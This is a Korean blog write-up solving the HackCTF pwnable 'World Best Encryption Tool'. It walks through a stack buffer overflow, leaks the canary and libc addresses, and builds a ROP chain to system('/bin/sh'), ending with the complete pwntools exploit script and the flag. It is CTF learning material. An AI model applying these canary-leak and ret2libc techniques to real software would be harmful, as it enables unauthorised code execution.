-
World Best Encryption ToolCTF/HackCTF 2021. 2. 9. 03:56
Disassembly 디스어셈블리
undefined8 main(void) { int32_t iVar1; int64_t in_FS_OFFSET; int64_t var_88h; char *src; char *dest; int64_t canary; canary = *(int64_t *)(in_FS_OFFSET + 0x28); setvbuf(_reloc.stdout, 0, 2, 0); do { puts("Your text)"); __isoc99_scanf("%s", &src); // stack buffer overflow for (int i = 0; i < 0x32; i++) { src[i] ^= 0x1c; } strncpy(&dest, &src, 0x39); printf("Encrypted text)\n%s", &dest); puts("\nWanna encrypt other text? (Yes/No)"); __isoc99_scanf("%s", (int64_t)&var_88h + 4); iVar1 = strcmp((int64_t)&var_88h + 4, "Yes"); } while (iVar1 == 0); iVar1 = strcmp((int64_t)&var_88h + 4, "No"); if (iVar1 != 0) { printf("It\'s not on the option"); } if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) { uVar2 = __stack_chk_fail(); } return; }
main은 scanf로 데이터를 입력받고 처음 0x32바이트에 or 연산을 한 뒤 출력한다.
Leak canary
dest가 rbp-0x40에 위치하므로 중간에 null 바이트가 없다면 canary가 같이 출력될 것이다.
payload = b"A"*0x39 p.sendlineafter("Your text)", payload) p.recvuntil("Encrypted text)\n") p.recv(0x38) canary = u64(p.recv(8)) - 0x41 log.info("canary : " + hex(canary)) p.sendlineafter("(Yes/No)", "Yes")
strncpy를 이용해 canary의 마지막 null 바이트를 덮어씌우면 이를 알아낼 수 있다.
Leak libc address
스택 카나리를 알아냈으므로 return address를 원하는 대로 덮어쓸 수 있다.
def build_ROP(offset, src): payload = b"\x90"*0x8*offset payload += src p.sendlineafter("Your text)", payload) p.sendlineafter("(Yes/No)", "Yes") payload = p64(prdi) payload += p64(setvbuf_got) payload += p64(puts_plt) payload += p64(prdi) payload += p64(scanf_got) payload += p64(puts_plt) build_ROP(17, payload) build_ROP(15, p64(canary)) payload = b"A"*0x38 p.sendlineafter("Your text)", payload) p.sendlineafter("(Yes/No)\n", "No")
위와 같이 라이브러리 주소를 알아내기 위한 payload를 구성한 뒤에 카나리를 덮어써주면 된다.
setvbuf = u64(p.recvline().strip().ljust(8, b"\x00")) __isoc99_scanf = u64(p.recvline().strip().ljust(8, b"\x00")) log.info("setvbuf : " + hex(setvbuf)) log.info("__isoc99_scanf : " + hex(__isoc99_scanf))
알아낸 라이브러리 주소를 libc-database에 검색하면 라이브러리 버전을 확인할 수 있다.
Return Oriented Programming
라이브러리 주소를 알아냈고, 카나리를 이미 알고 있으므로 ROP를 진행해 system("/bin/sh")를 호출하면 문제를 해결할 수 있다.
payload = p64(prdi) payload += p64(binsh) payload += p64(system) build_ROP(17, payload) build_ROP(15, p64(canary)) payload = b"A"*0x38 p.sendlineafter("Your text)", payload) p.sendlineafter("(Yes/No)\n", "No")
Code
더보기from pwn import * binary = "./World_best_encryption_tool" lib = "./libc6_2.23-0ubuntu11_amd64.so" server = "ctf.j0n9hyun.xyz" port = 3027 # context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = gdb.debug([binary], gdbscript = 'set debug-file-directory ./x86_64-linux-gnu') e = ELF(binary) r = ROP(e) l = ELF(lib) e.checksec() payload = b"A"*0x39 p.sendlineafter("Your text)", payload) p.recvuntil("Encrypted text)\n") p.recv(0x38) canary = u64(p.recv(8)) - 0x41 log.info("canary : " + hex(canary)) p.sendlineafter("(Yes/No)", "Yes") prdi = (r.find_gadget(['pop rdi', 'ret'])[0]) main = e.symbols["main"] puts_plt = e.plt["puts"] setvbuf_got = e.got["setvbuf"] def build_ROP(offset, src): payload = b"\x90"*0x8*offset payload += src p.sendlineafter("Your text)", payload) p.sendlineafter("(Yes/No)", "Yes") payload = p64(prdi) payload += p64(setvbuf_got) payload += p64(puts_plt) payload += p64(main) build_ROP(17, payload) build_ROP(15, p64(canary)) payload = b"A"*0x38 p.sendlineafter("Your text)", payload) p.sendlineafter("(Yes/No)\n", "No") setvbuf = u64(p.recvline().strip().ljust(8, b"\x00")) libc = setvbuf - l.symbols["setvbuf"] system = libc + l.symbols["system"] binsh = libc + next(l.search(b"/bin/sh\x00")) log.info("libc : " + hex(libc)) payload = p64(prdi) payload += p64(binsh) payload += p64(system) build_ROP(17, payload) build_ROP(15, p64(canary)) payload = b"A"*0x38 p.sendlineafter("Your text)", payload) p.sendlineafter("(Yes/No)\n", "No") p.interactive()
Flag
HackCTF{I_th0ught_X0R_is_the_w0rld_b3st_Encrypti0n}
'CTF > HackCTF' 카테고리의 다른 글
UAF (0) 2021.02.09 Beginner_Heap (0) 2021.02.09 j0n9hyun's secret (0) 2021.02.07 SysROP (0) 2021.02.05 Pwning (0) 2021.02.05